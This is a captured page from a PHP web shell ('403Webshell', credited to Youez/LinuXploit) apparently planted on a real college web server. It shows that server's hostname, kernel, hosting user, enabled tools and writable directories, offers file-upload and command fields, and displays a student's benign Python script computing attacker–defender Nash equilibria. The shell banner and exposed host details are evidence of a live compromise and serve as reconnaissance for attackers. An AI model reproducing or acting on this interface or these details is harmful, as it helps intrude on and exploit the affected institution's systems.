403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.58.221
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/phd_code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/phd_code/nashEquilibrium_formula.py
import numpy as np
# where resources under protection is greater that cost of attack and cost of defense (ca<cd)
for r in range(0,11):
    ca0=0
    ca1=2;ca2=4
    cd0=0;cd1=3;cd2=6
    a11=0;a12=0;a13=0

    a21=r-ca1;a22=-ca1;a23=-ca1
    a31=r-ca2;a32=r-ca2;a33=-ca2
    d11=r;d12=r-cd1;d13=r-cd2
    d21=-r;d22=r-cd1;d23=r-cd2
    d31=-r;d32=-r-cd1;d33=r-cd2
    # Define the payoff matrix
    payoff_matrix = np.array([[[a11, d11], [a12,d12], [a13, d13]],
                          [[a21, d21], [a22, d22], [a23, d23]],
                          [[a31, d31], [a32, d32], [a33, d33]]])

    # Find the maximum payoffs for the attacker and the defender
    max_payoffs_attacker = np.max(payoff_matrix, axis=1)
    max_payoffs_defender = np.max(payoff_matrix, axis=2)

    # Find the indices of the maximum payoffs for the attacker and the defender
    max_indices_attacker = np.argmax(payoff_matrix, axis=1)
    max_indices_defender = np.argmax(payoff_matrix, axis=2)

    # Find the strategies that correspond to the Nash equilibrium
    nash_equilibria = []
    for i in range(payoff_matrix.shape[1]):
        for j in range(payoff_matrix.shape[2]):
            if (max_indices_attacker[i][j] == j) and (max_indices_defender[i][j] == i):
                nash_equilibria.append((i, j))

    # Print the Nash equilibrium(s)
    if len(nash_equilibria) == 0:
        print("==========================================================================")
        print("When Resources Under Protecting is :",r)
        print("There is no Nash equilibrium.")
    else:
        print("==========================================================================")
        print("When Resources Under Protecting is :",r)
        print("The Nash equilibrium(s) is/are:")
        for s in nash_equilibria:
            
            
            print("Attacker chooses Level strategy", s[0], "and defender chooses Level strategy", s[1])
        

Youez - 2016 - github.com/yon3zu
LinuXploit